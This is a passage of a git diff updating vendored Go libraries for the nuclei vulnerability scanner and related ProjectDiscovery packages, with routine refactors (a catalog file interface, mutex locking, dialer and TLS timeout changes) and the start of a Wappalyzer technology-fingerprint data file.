templatePath := range templatePathMap { - loaded, err := LoadTemplate(templatePath, w.tagFilter, templateTags) + loaded, err := LoadTemplate(templatePath, w.tagFilter, templateTags, w.options.Catalog) if err != nil { gologger.Warning().Msgf("Could not load template %s: %s\n", templatePath, err) } else if loaded { @@ -53,7 +53,7 @@ func (w *workflowLoader) GetTemplatePaths(templatesList []string, noValidate boo loadedTemplates := make([]string, 0, len(templatesPathMap)) for templatePath := range templatesPathMap { - matched, err := LoadTemplate(templatePath, w.tagFilter, nil) + matched, err := LoadTemplate(templatePath, w.tagFilter, nil, w.options.Catalog) if err != nil { gologger.Warning().Msgf("Could not load template %s: %s\n", templatePath, err) } else if matched || noValidate { diff --git a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/expressions/variables.go b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/expressions/variables.go index 86c8e38dd..57dc8d7ad 100644 --- a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/expressions/variables.go +++ b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/expressions/variables.go @@ -7,7 +7,7 @@ import ( ) var ( - numericalExpressionRegex = regexp.MustCompile(`[0-9+\-*/]+`) + numericalExpressionRegex = regexp.MustCompile(`^[0-9+\-/\W]+$`) unresolvedVariablesRegex = regexp.MustCompile(`(?:%7[B|b]|\{){2}([^}]+)(?:%7[D|d]|\}){2}["'\)\}]*`) ) diff --git a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/generators/generators.go b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/generators/generators.go index fb1597d25..b99d4cc5c 100644 --- a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/generators/generators.go +++ b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/generators/generators.go @@ -11,11 +11,12 @@ import ( // PayloadGenerator is the generator struct for generating payloads type PayloadGenerator struct { Type AttackType + catalog catalog.Catalog payloads map[string][]string } // New creates a new generator structure for payload generation -func New(payloads map[string]interface{}, attackType AttackType, templatePath string, catalog *catalog.Catalog) (*PayloadGenerator, error) { +func New(payloads map[string]interface{}, attackType AttackType, templatePath string, catalog catalog.Catalog) (*PayloadGenerator, error) { if attackType.String() == "" { attackType = BatteringRamAttack } @@ -36,12 +37,12 @@ func New(payloads map[string]interface{}, attackType AttackType, templatePath st } } - generator := &PayloadGenerator{} + generator := &PayloadGenerator{catalog: catalog} if err := generator.validate(payloadsFinal, templatePath); err != nil { return nil, err } - compiled, err := loadPayloads(payloadsFinal) + compiled, err := generator.loadPayloads(payloadsFinal) if err != nil { return nil, err } diff --git a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/generators/load.go b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/generators/load.go index d5b00e4d3..248f4c25b 100644 --- a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/generators/load.go +++ b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/generators/load.go @@ -3,7 +3,6 @@ package generators import ( "bufio" "io" - "os" "strings" "github.com/pkg/errors" @@ -11,7 +10,7 @@ import ( ) // loadPayloads loads the input payloads from a map to a data map -func loadPayloads(payloads map[string]interface{}) (map[string][]string, error) { +func (generator *PayloadGenerator) loadPayloads(payloads map[string]interface{}) (map[string][]string, error) { loadedPayloads := make(map[string][]string) for name, payload := range payloads { @@ -22,7 +21,7 @@ func loadPayloads(payloads map[string]interface{}) (map[string][]string, error) if len(elements) >= 2 { loadedPayloads[name] = elements } else { - payloads, err := loadPayloadsFromFile(pt) + payloads, err := generator.loadPayloadsFromFile(pt) if err != nil { return nil, errors.Wrap(err, "could not load payloads") } @@ -36,10 +35,10 @@ func loadPayloads(payloads map[string]interface{}) (map[string][]string, error) } // loadPayloadsFromFile loads a file to a string slice -func loadPayloadsFromFile(filepath string) ([]string, error) { +func (generator *PayloadGenerator) loadPayloadsFromFile(filepath string) ([]string, error) { var lines []string - file, err := os.Open(filepath) + file, err := generator.catalog.OpenFile(filepath) if err != nil { return nil, err } diff --git a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/interactsh/interactsh.go b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/interactsh/interactsh.go index e6f9d2f69..9e9ea6385 100644 --- a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/interactsh/interactsh.go +++ b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/interactsh/interactsh.go @@ -45,7 +45,10 @@ type Client struct { pollDuration time.Duration cooldownDuration time.Duration - hostname string + dataMutex *sync.RWMutex + + hostname string + firstTimeGroup sync.Once generated uint32 // decide to wait if we have a generated url matched bool @@ -58,7 +61,7 @@ var ( const ( stopAtFirstMatchAttribute = "stop-at-first-match" - templateIdAttribute = "template-id" + templateIdAttribute = "template-id" ) // Options contains configuration options for interactsh nuclei integration. @@ -123,6 +126,7 @@ func New(options *Options) (*Client, error) { requests: cache, pollDuration: options.PollDuration, cooldownDuration: options.CooldownPeriod, + dataMutex: &sync.RWMutex{}, } return interactClient, nil } @@ -161,7 +165,10 @@ func (c *Client) firstTimeInitializeClient() error { interactURL := interactsh.URL() interactDomain := interactURL[strings.Index(interactURL, ".")+1:] gologger.Info().Msgf("Using Interactsh Server: %s", interactDomain) + + c.dataMutex.Lock() c.hostname = interactDomain + c.dataMutex.Unlock() interactsh.StartPolling(c.pollDuration, func(interaction *server.Interaction) { item := c.requests.Get(interaction.UniqueID) @@ -281,7 +288,7 @@ func (c *Client) ReplaceMarkers(data string, interactshURLs []string) (string, [ // MakePlaceholders does placeholders for interact URLs and other data to a map func (c *Client) MakePlaceholders(urls []string, data map[string]interface{}) { - data["interactsh-server"] = c.hostname + data["interactsh-server"] = c.getInteractServerHostname() for _, url := range urls { if interactshURLMarker := c.interactshURLs.Get(url); interactshURLMarker != nil { if interactshURLMarker, ok := interactshURLMarker.Value().(string); ok { @@ -431,3 +438,10 @@ func hash(templateID, host string) string { h.Write([]byte(host)) return hex.EncodeToString(h.Sum(nil)) } + +func (c *Client) getInteractServerHostname() string { + c.dataMutex.RLock() + defer c.dataMutex.RUnlock() + + return c.hostname +} diff --git a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/headless/engine/action_types.go b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/headless/engine/action_types.go index 21277d029..4cf861184 100644 --- a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/headless/engine/action_types.go +++ b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/headless/engine/action_types.go @@ -124,7 +124,7 @@ var ActionToActionString = map[ActionType]string{ ActionWaitLoad: "waitload", ActionGetResource: "getresource", ActionExtract: "extract", - ActionSetMethod: "set-method", + ActionSetMethod: "setmethod", ActionAddHeader: "addheader", ActionSetHeader: "setheader", ActionDeleteHeader: "deleteheader", diff --git a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/http/httpclientpool/clientpool.go b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/http/httpclientpool/clientpool.go index 9b45367a0..ff53d54a4 100644 --- a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/http/httpclientpool/clientpool.go +++ b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/http/httpclientpool/clientpool.go @@ -112,6 +112,8 @@ func GetRawHTTP(options *types.Options) *rawhttp.Client { rawHttpOptions.Proxy = types.ProxyURL } else if types.ProxySocksURL != "" { rawHttpOptions.Proxy = types.ProxySocksURL + } else if Dialer != nil { + rawHttpOptions.FastDialer = Dialer } rawHttpOptions.Timeout = time.Duration(options.Timeout) * time.Second rawHttpClient = rawhttp.NewClient(rawHttpOptions) diff --git a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/http/raw/raw.go b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/http/raw/raw.go index 94fbc10ca..2a1174f7e 100644 --- a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/http/raw/raw.go +++ b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/http/raw/raw.go @@ -51,6 +51,9 @@ read_line: } parts := strings.Split(s, " ") + if len(parts) == 2 { + parts = []string{parts[0], "", parts[1]} + } if len(parts) < 3 && !unsafe { return nil, fmt.Errorf("malformed request supplied") } diff --git a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/protocols.go b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/protocols.go index 57d1ecbb9..0e37e7a17 100644 --- a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/protocols.go +++ b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/protocols.go @@ -54,7 +54,7 @@ type ExecuterOptions struct { // RateLimiter is a rate-limiter for limiting sent number of requests. RateLimiter ratelimit.Limiter // Catalog is a template catalog implementation for nuclei - Catalog *catalog.Catalog + Catalog catalog.Catalog // ProjectFile is the project file for nuclei ProjectFile *projectfile.ProjectFile // Browser is a browser engine for running headless templates diff --git a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/templates/compile.go b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/templates/compile.go index a6dcae500..506127b93 100644 --- a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/templates/compile.go +++ b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/templates/compile.go @@ -36,7 +36,7 @@ func Parse(filePath string, preprocessor Preprocessor, options protocols.Execute template := &Template{} - data, err := utils.ReadFromPathOrURL(filePath) + data, err := utils.ReadFromPathOrURL(filePath, options.Catalog) if err != nil { return nil, err } diff --git a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/types/resume.go b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/types/resume.go index f319271fa..198631ad7 100644 --- a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/types/resume.go +++ b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/types/resume.go @@ -38,6 +38,29 @@ type ResumeInfo struct { DoAbove uint32 `json:"-"` } +// Clone the ResumeInfo structure +func (resumeInfo *ResumeInfo) Clone() *ResumeInfo { + resumeInfo.Lock() + defer resumeInfo.Unlock() + + inFlight := make(map[uint32]struct{}) + for u := range resumeInfo.InFlight { + inFlight[u] = struct{}{} + } + repeat := make(map[uint32]struct{}) + for u := range resumeInfo.Repeat { + repeat[u] = struct{}{} + } + + return &ResumeInfo{ + Completed: resumeInfo.Completed, + InFlight: inFlight, + SkipUnder: resumeInfo.SkipUnder, + Repeat: repeat, + DoAbove: resumeInfo.DoAbove, + } +} + // NewResumeCfg creates a new scan progression structure func NewResumeCfg() *ResumeCfg { return &ResumeCfg{ @@ -47,10 +70,22 @@ func NewResumeCfg() *ResumeCfg { } // Clone the resume structure -func (resumeCfg *ResumeCfg) Clone() ResumeCfg { - return ResumeCfg{ - ResumeFrom: resumeCfg.ResumeFrom, - Current: resumeCfg.Current, +func (resumeCfg *ResumeCfg) Clone() *ResumeCfg { + resumeCfg.Lock() + defer resumeCfg.Unlock() + + resumeFrom := make(map[string]*ResumeInfo) + for id, resumeInfo := range resumeCfg.ResumeFrom { + resumeFrom[id] = resumeInfo.Clone() + } + current := make(map[string]*ResumeInfo) + for id, resumeInfo := range resumeCfg.Current { + current[id] = resumeInfo.Clone() + } + + return &ResumeCfg{ + ResumeFrom: resumeFrom, + Current: current, } } diff --git a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/utils/utils.go b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/utils/utils.go index f01dd636c..03eff4396 100644 --- a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/utils/utils.go +++ b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/utils/utils.go @@ -5,8 +5,9 @@ import ( "io" "net/http" "net/url" - "os" "strings" + + "github.com/projectdiscovery/nuclei/v2/pkg/catalog" ) func IsBlank(value string) bool { @@ -44,7 +45,7 @@ func IsURL(input string) bool { } // ReadFromPathOrURL reads and returns the contents of a file or url. -func ReadFromPathOrURL(templatePath string) (data []byte, err error) { +func ReadFromPathOrURL(templatePath string, catalog catalog.Catalog) (data []byte, err error) { if IsURL(templatePath) { resp, err := http.Get(templatePath) if err != nil { @@ -56,7 +57,7 @@ func ReadFromPathOrURL(templatePath string) (data []byte, err error) { return nil, err } } else { - f, err := os.Open(templatePath) + f, err := catalog.OpenFile(templatePath) if err != nil { return nil, err } diff --git a/vendor/github.com/projectdiscovery/rawhttp/client/writer.go b/vendor/github.com/projectdiscovery/rawhttp/client/writer.go index b061fb0d7..b5272a77c 100644 --- a/vendor/github.com/projectdiscovery/rawhttp/client/writer.go +++ b/vendor/github.com/projectdiscovery/rawhttp/client/writer.go @@ -68,7 +68,7 @@ func (w *writer) WriteHeader(key, value string) error { } var err error if value != "" { - _, err = fmt.Fprintf(w, "%s:%s\r\n", key, value) + _, err = fmt.Fprintf(w, "%s: %s\r\n", key, value) } else { _, err = fmt.Fprintf(w, "%s\r\n", key) } diff --git a/vendor/github.com/projectdiscovery/rawhttp/clientpipeline/request.go b/vendor/github.com/projectdiscovery/rawhttp/clientpipeline/request.go index ebd4b9279..a4ad92133 100644 --- a/vendor/github.com/projectdiscovery/rawhttp/clientpipeline/request.go +++ b/vendor/github.com/projectdiscovery/rawhttp/clientpipeline/request.go @@ -73,7 +73,7 @@ func (r *Request) Write(w *bufio.Writer) error { for _, h := range r.Headers { var err error if h.Value != "" { - _, err = fmt.Fprintf(w, "%s:%s\r\n", h.Key, h.Value) + _, err = fmt.Fprintf(w, "%s: %s\r\n", h.Key, h.Value) } else { _, err = fmt.Fprintf(w, "%s\r\n", h.Key) } diff --git a/vendor/github.com/projectdiscovery/rawhttp/conn.go b/vendor/github.com/projectdiscovery/rawhttp/conn.go index b2de02ab2..d7c7c2c1e 100644 --- a/vendor/github.com/projectdiscovery/rawhttp/conn.go +++ b/vendor/github.com/projectdiscovery/rawhttp/conn.go @@ -1,6 +1,7 @@ package rawhttp import ( + "context" "crypto/tls" "fmt" "io" @@ -76,7 +77,7 @@ func (d *dialer) DialWithProxy(protocol, addr, proxyURL string, timeout time.Dur return nil, fmt.Errorf("proxy error: %w", err) } if protocol == "https" { - if c, err = TlsHandshake(c, addr); err != nil { + if c, err = TlsHandshake(c, addr, timeout); err != nil { return nil, fmt.Errorf("tls handshake error: %w", err) } } @@ -88,9 +89,22 @@ func (d *dialer) DialWithProxy(protocol, addr, proxyURL string, timeout time.Dur } func clientDial(protocol, addr string, timeout time.Duration, options *Options) (net.Conn, error) { + var ( + ctx context.Context + cancel context.CancelFunc + ) + if timeout > 0 { + ctx, cancel = context.WithTimeout(context.Background(), timeout) + defer cancel() + } else { + ctx = context.Background() + } + // http if protocol == "http" { - if timeout > 0 { + if options.FastDialer != nil { + return options.FastDialer.Dial(ctx, "tcp", addr) + } else if timeout > 0 { return net.DialTimeout("tcp", addr, timeout) } return net.Dial("tcp", addr) @@ -101,30 +115,43 @@ func clientDial(protocol, addr string, timeout time.Duration, options *Options) if options.SNI != "" { tlsConfig.ServerName = options.SNI } - if timeout > 0 { + if options.FastDialer != nil { + return options.FastDialer.DialTLSWithConfig(ctx, "tcp", addr, tlsConfig) + } else if timeout > 0 { conn, err := net.DialTimeout("tcp", addr, timeout) if err != nil { return nil, err } tlsConn := tls.Client(conn, tlsConfig) - return tlsConn, tlsConn.Handshake() + return tlsConn, tlsConn.HandshakeContext(ctx) } return tls.Dial("tcp", addr, tlsConfig) } // TlsHandshake tls handshake on a plain connection -func TlsHandshake(conn net.Conn, addr string) (net.Conn, error) { +func TlsHandshake(conn net.Conn, addr string, timeout time.Duration) (net.Conn, error) { colonPos := strings.LastIndex(addr, ":") if colonPos == -1 { colonPos = len(addr) } hostname := addr[:colonPos] + var ( + ctx context.Context + cancel context.CancelFunc + ) + if timeout > 0 { + ctx, cancel = context.WithTimeout(context.Background(), timeout) + defer cancel() + } else { + ctx = context.Background() + } + tlsConn := tls.Client(conn, &tls.Config{ InsecureSkipVerify: true, ServerName: hostname, }) - if err := tlsConn.Handshake(); err != nil { + if err := tlsConn.HandshakeContext(ctx); err != nil { conn.Close() return nil, err } diff --git a/vendor/github.com/projectdiscovery/rawhttp/options.go b/vendor/github.com/projectdiscovery/rawhttp/options.go index 51490a46e..990b6b55d 100644 --- a/vendor/github.com/projectdiscovery/rawhttp/options.go +++ b/vendor/github.com/projectdiscovery/rawhttp/options.go @@ -3,6 +3,7 @@ package rawhttp import ( "time" + "github.com/projectdiscovery/fastdialer/fastdialer" "github.com/projectdiscovery/rawhttp/client" ) @@ -19,6 +20,7 @@ type Options struct { Proxy string ProxyDialTimeout time.Duration SNI string + FastDialer *fastdialer.Dialer } // DefaultOptions is the default configuration options for the client diff --git a/vendor/github.com/projectdiscovery/rawhttp/util.go b/vendor/github.com/projectdiscovery/rawhttp/util.go index adf4533e9..1994fe6d8 100644 --- a/vendor/github.com/projectdiscovery/rawhttp/util.go +++ b/vendor/github.com/projectdiscovery/rawhttp/util.go @@ -151,7 +151,7 @@ func DumpRequestRaw(method, url, uripath string, headers map[string][]string, bo for _, header := range req.Headers { if header.Value != "" { - b.WriteString(fmt.Sprintf("%s:%s"+client.NewLine, header.Key, header.Value)) + b.WriteString(fmt.Sprintf("%s: %s"+client.NewLine, header.Key, header.Value)) } else { b.WriteString(fmt.Sprintf("%s"+client.NewLine, header.Key)) } diff --git a/vendor/github.com/projectdiscovery/sliceutil/sliceutil.go b/vendor/github.com/projectdiscovery/sliceutil/sliceutil.go index 1d248d033..b99a7277f 100644 --- a/vendor/github.com/projectdiscovery/sliceutil/sliceutil.go +++ b/vendor/github.com/projectdiscovery/sliceutil/sliceutil.go @@ -1,6 +1,9 @@ package sliceutil -import "math/rand" +import ( + "math/rand" + "strconv" +) // PruneEmptyStrings from the slice func PruneEmptyStrings(v []string) []string { @@ -65,3 +68,16 @@ func ContainsItems(s1 []string, s2 []string) bool { } return true } + +// ToInt converts a slice of strings to a slice of ints +func ToInt(s []string) ([]int, error) { + var ns []int + for _, ss := range s { + n, err := strconv.Atoi(ss) + if err != nil { + return nil, err + } + ns = append(ns, n) + } + return ns, nil +} diff --git a/vendor/github.com/projectdiscovery/wappalyzergo/fingerprints_data.go b/vendor/github.com/projectdiscovery/wappalyzergo/fingerprints_data.go index da3e299f4..de8d172eb 100644 --- a/vendor/github.com/projectdiscovery/wappalyzergo/fingerprints_data.go +++ b/vendor/github.com/projectdiscovery/wappalyzergo/fingerprints_data.go @@ -1,3 +1,3 @@ package wappalyzer -var fingerprints = `{"apps":{"PubMatic":{},"Quill":{"js":["quill"]},"Treasure Data":{"js":["treasure.version"]},"Teachable":{"cookies":{"_gat_teachabletracker":"\\d+"},"js":["teachableicons","trackteachablegaevent","isteachable"],"meta":{"asset_host":["\\.teachablecdn\\.com"]}},"Smartsupp":{"js":["$smartsupp.options.widgetversion","smartsupp"]},"F5 BigIP":{"cookies":{"f5_st":"","f5_fullwt":"","lastmrh_session":"","mrhshint":"","mrhsequence":"","mrhsession":"","tin":"","f5_ht_shrinked":""},"headers":{"server":"^big-?ip$"}},"pinoox":{"cookies":{"pinoox_session":""},"js":["pinoox"],"implies":["PHP"]},"Plone":{"meta":{"generator":["plone"]},"implies":["Python"]},"USWDS":{"js":["uswdspresent"]},"SeQura":{"js":["sequra","sequraconfiguration","sequraproducts"]},"EX.CO":{"js":["__exco","__exco_integration_type","excopixelurl"]},"Jivox":{},"Zenfolio":{"js":["zenfolio"]},"EqualWeb":{},"Trumba":{"js":["$trumba","$trumba.version","trumba"]},"Red Hat Gluster":{},"Evidon":{"js":["eb.evidonconsent","evidon"]},"DigitalRiver":{"cookies":{"x-dr-shopper-ets":"","x-dr-theme":"^\\d+$"},"js":["digitalriver"]},"eBay Partner Network":{},"WideBundle":{"implies":["Shopify"]},"BrainSINS":{"js":["brainsins","brainsinsrecommender","brainsins_token","launchbrainsins"]},"Zinnia":{"meta":{"generator":["zinnia"]},"implies":["Django"]},"Azure AD B2C":{"implies":["Azure"]},"AndersNoren Hitchcock":{},"Flask":{"headers":{"server":"werkzeug/?([\\d\\.]+)?\\;version:\\1"},"implies":["Python"]},"Freespee":{},"T1 Paginas":{"meta":{"generator":["^t1paginas$"]},"implies":["AngularJS","Node.js","MongoDB"]},"Backdrop":{"js":["backdrop"],"headers":{"x-backdrop-cache":"","x-generator":"^backdrop cms(?:\\s([\\d.]+))?\\;version:\\1"},"meta":{"generator":["^backdrop cms(?:\\s([\\d.]+))?\\;version:\\1"]},"implies":["PHP"]},"Hireology":{},"Semantic UI":{"html":["\u003clink[^\u003e]+semantic(?:\\.min)\\.css\""]},"WooCommerce Blocks":{},"Macaron":{"implies":["Go"]},"Bluefish":{"meta":{"generator":["bluefish(?:\\s([\\d.]+))?\\;version:\\1"]}},"K2":{"js":["k2ratingurl"],"html":["\u003c!--(?: joomlaworks \"k2\"| start k2)"],"implies":["Joomla"]},"ExtJS":{"js":["ext","ext.version","ext.versions.extjs.version"]},"Cart Functionality":{"js":["google_tag_params.ecomm_pagetype"]},"BIGACE":{"meta":{"generator":["bigace ([\\d.]+)\\;version:\\1"]},"implies":["PHP"]},"Oracle Web Cache":{"headers":{"server":"oracle(?:as)?[- ]web[- ]cache(?:[- /]([\\da-z./]+))?\\;version:\\1"}},"IntenseDebate":{},"Trackify X":{"implies":["Shopify"]},"OpenUI5":{"js":["sap.ui.version"]},"Smart Ad Server":{"js":["smartadserver"]},"WildJar":{},"Bloomreach":{"html":["\u003c[^\u003e]+/binaries/(?:[^/]+/)*content/gallery/"]},"bSecure":{"js":["bsecure_js_object"]},"Phoenix":{"js":["phoenix"],"meta":{"generator":["^phoenix"]},"implies":["React","webpack","Node.js"]},"Bugcrowd":{},"PebblePost":{},"Go Instore":{"js":["gisapp.videojsctrl","gisapplib.postrobot"],"headers":{"content-security-policy":"\\.goinstore\\.com"}},"TrueCommerce":{},"WebNode":{"cookies":{"_gat_wnd_header":""},"js":["wnd.$system"],"meta":{"generator":["^webnode(?:\\s([\\d.]+))?$\\;version:\\1"]}},"Meteor":{"js":["meteor.release","meteor"],"html":["\u003clink[^\u003e]+__meteor-css__"],"implies":["MongoDB","Node.js"]},"SharpSpring":{"js":["sharpspring_tracking_installed"]},"Acuity Scheduling":{"js":["acuity_modal_init"]},"Quora Pixel":{"js":["qp.qp"]},"Shapecss":{"js":["shapecss"],"html":["\u003clink[^\u003e]* href=\"[^\"]*shapecss(?:\\.min)?\\.css"]},"Covet.pics":{},"Stackify":{},"Jahia DX":{"html":["\u003cscript id=\"staticassetaggregatedjavascrip"]},"Imweb":{"js":["imweb_template"]},"33Across":{"js":["tynt"]},"Gambio":{"js":["gambio"],"html":["(?:\u003clink[^\u003e]* href=\"templates/gambio/|\u003ca[^\u003e]content\\.php\\?coid=\\d|\u003c!-- gambio eof --\u003e|\u003c!--[\\s=]+shopsoftware by gambio gmbh \\(c\\))"],"implies":["PHP"]},"ShortPixel Image Optimizer":{"js":["sppictest"]},"Simpl":{"js":["simplsettings"]},"Verizon Media":{},"TagPro":{"js":["initadprotags"]},"OneAPM":{"js":["bweum"]},"Adobe GoLive":{"meta":{"generator":["adobe golive(?:\\s([\\d.]+))?\\;version:\\1"]}},"Chronopost":{},"Maptalks":{"js":["map._eventmap","maptalks.geojson"]},"AD EBiS":{"js":["ebis.c.pageurl"]},"Tencent Analytics (腾讯分析)":{},"Classy":{"js":["classy"]},"DreamHost":{},"Apisearch":{},"Q4 Cookie Monster":{},"Webtrends":{"js":["wtoptimize","webtrends"],"html":["\u003cimg[^\u003e]+id=\"dcsimg\"[^\u003e]+webtrends"]},"Prebid":{"js":["prebid_timeout","pbjs","pbjs.version"]},"xCharts":{"js":["xchart"],"html":["\u003clink[^\u003e]* href=\"[^\"]*xcharts(?:\\.min)?\\.css"],"implies":["D3"]},"WooCommerce":{"js":["woocommerce_params"],"meta":{"generator":["woocommerce ([\\d.]+)\\;version:\\1"]}},"Amplience":{"js":["ampliancetemplates"]},"Google Sites":{},"toastr":{"js":["toastr.version"]},"Google Cloud CDN":{"headers":{"via":"^1\\.1 google$"},"implies":["Google Cloud"]},"eZ Platform":{"meta":{"generator":["ez platform"]},"implies":["Symfony"]},"Kajabi":{"cookies":{"_kjb_session":""},"js":["kajabi"]},"Workable":{"js":["webpackchunk_workable_candidate"]},"Menufy Website":{"js":["views_website_layouts_footer_menufy"]},"ClickFunnels":{"js":["cfappdomain","cfsurveyparticipantid"],"meta":{"cf:app_domain:":["app\\.clickfunnels\\.com"]}},"Textpattern CMS":{"meta":{"generator":["textpattern"]},"implies":["PHP","MySQL"]},"JBoss Web":{"headers":{"x-powered-by":"jbossweb(?:-([\\d.]+))?\\;version:\\1"},"implies":["JBoss Application Server"]},"THG Ingenuity":{},"JivoChat":{"js":["jivo_api","jivo_version"]},"Enyo":{"js":["enyo"]},"Aero Commerce":{"js":["aeroevents.on"]},"Flutter":{"js":["fluttercanvaskit"],"meta":{"id":["^flutterweb-theme$"]},"implies":["Dart"]},"ConveyThis":{},"Google My Business":{},"Visual Quiz Builder":{},"Bambuser":{"js":["bambuserliveshopping","_bambuser"]},"Klasha":{"js":["klashaclient"]},"RDoc":{"js":["rdoc_rel_prefix"],"html":["\u003clink[^\u003e]+href=\"[^\"]*rdoc-style\\.css","generated by \u003ca[^\u003e]+href=\"https?://rdoc\\.rubyforge\\.org[^\u003e]+\u003erdoc\u003c/a\u003e ([\\d.]*\\d)\\;version:\\1","generated by \u003ca href=\"https:\\/\\/ruby\\.github\\.io\\/rdoc\\/\"\u003erdoc\u003c\\/a\u003e ([\\d.]*\\d)\\;version:\\1"],"implies":["Ruby"]},"Envialia":{},"Ordersify Product Alerts":{"js":["ordersify_bis.stockremainingsetting"],"implies":["Shopify"]},"SkyVerge":{"js":["sv_wc_payment_gateway_payment_form_param"],"implies":["WooCommerce"]},"Daily Deals":{"js":["ddaddtocheckout","ddaddtoorder"]},"CppCMS":{"headers":{"x-powered-by":"^cppcms/([\\d.]+)$\\;version:\\1"}},"LazySizes unveilhooks plugin":{},"Bizweb":{"js":["bizweb"]},"Linkedin Insight Tag":{"js":["oribi","_linkedin_data_partner_id","_linkedin_partner_id"]},"SmugMug":{"js":["_smugsp"],"headers":{"smug-cdn":""}},"Candid Themes Fairy":{},"Fundiin":{"js":["websiteenablesuggestfundiin","websitemaximumsuggestfundiinwithprediction"]},"Paloma":{"js":["paloma.createcookie"]},"Autoketing":{},"nopCommerce":{"cookies":{"nop.customer":""},"html":["(?:\u003c!--powered by nopcommerce|powered by: \u003ca[^\u003e]+nopcommerce)"],"meta":{"generator":["^nopcommerce$"]},"implies":["Microsoft ASP.NET"]},"Storyblok":{"meta":{"generator":["storyblok"]}},"SALESmanago":{"js":["salesmanagoobject"]},"MinMaxify":{"js":["minmaxify.checklimits","minmaxify.shop"],"implies":["Shopify"]},"SAP Customer Data Cloud Sign-in":{},"Wink":{"js":["wink.version"]},"OpinionLab":{"js":["ooo.browser","ooo.version"]},"Bookatable":{},"Combeenation":{},"SonarQubes":{"js":["sonarrequest","sonarmeasures"],"html":["\u003clink href=\"/css/sonar\\.css\\?v=([\\d.]+)\\;version:\\1","\u003ctitle\u003esonarqube\u003c/title\u003e"],"meta":{"application-name":["^sonarqubes$"]},"implies":["Java"]},"Adabra":{"js":["adabrapreview","adabra_version_panel","adabra_version_track"]},"ElasticPress":{"headers":{"x-elasticpress-query":""},"implies":["Elasticsearch"]},"OpenTable":{},"Dito":{"js":["dito.appsettings"]},"ZK":{"html":["\u003c!-- zk [.\\d\\s]+--\u003e"],"implies":["Java"]},"Remarkable Commerce":{"js":["remarkable.basketitems"]},"UserWay":{},"Pelican":{"html":["powered by \u003ca href=\"[^\u003e]+getpelican\\.com","powered by \u003ca href=\"https?://pelican\\.notmyidea\\.org"],"implies":["Python"]},"Pepperjam":{"js":["pepperjam","pepperjamtracking"]},"Jetshop":{"js":["jetshopdata"],"html":["\u003c(?:div|aside) id=\"jetshop-branding\"\u003e"]},"The.com":{"implies":["React","Amazon S3"]},"Facebook Pay":{},"Chord":{"js":["chordconnect","chordconnect.__esmodule"]},"Octopress":{"html":["powered by \u003ca href=\"http://octopress\\.org\"\u003e"],"meta":{"generator":["octopress"]},"implies":["Jekyll"]},"Weblium":{"implies":["Node.js","OpenResty","React"]},"GiveWP":{"js":["give.donor","giveapisettings"]},"Amazon ELB":{"cookies":{"awselb":""},"implies":["Amazon Web Services"]},"ConvertFlow":{"js":["convertflow"]},"Blesta":{"cookies":{"blesta_sid":""}},"Bold Brain":{"js":["bold.brain"],"implies":["Shopify","Bold Commerce"]},"Wigzo":{"js":["wigzo"]},"Voog.com Website Builder":{"html":["\u003cscript [^\u003e]*src=\"[^\"]*voog\\.com/tracker\\.js"]},"CherryPy":{"headers":{"server":"cherrypy(?:/([\\d.]+))?\\;version:\\1"}},"TypeDoc":{"implies":["TypeScript"]},"Simbel":{"headers":{"powered":"simbel"}},"Picturepark":{"js":["pictureparkconfiguration"]},"Crazy Egg":{"js":["ce2"]},"Hugo":{"meta":{"generator":["hugo ([\\d.]+)?\\;version:\\1"]}},"Polyfill":{},"ClickTale":{"js":["clicktaleevent","clicktaleglobal","clicktalestarteventsignal","clicktale"]},"Chargebee":{"js":["chargebee","chargebeetrackfunc"]},"Pleroma":{},"Yepcomm":{"meta":{"author":["yepcomm tecnologia"],"copyright":["yepcomm tecnologia"]}},"Kount":{"js":["ka.clientsdk","ka.collectdata"]},"Firebase":{"js":["firebase.sdk_version"]},"Google Code Prettify":{"js":["prettyprint"]},"Cookiebot":{},"Responsive Lightbox \u0026 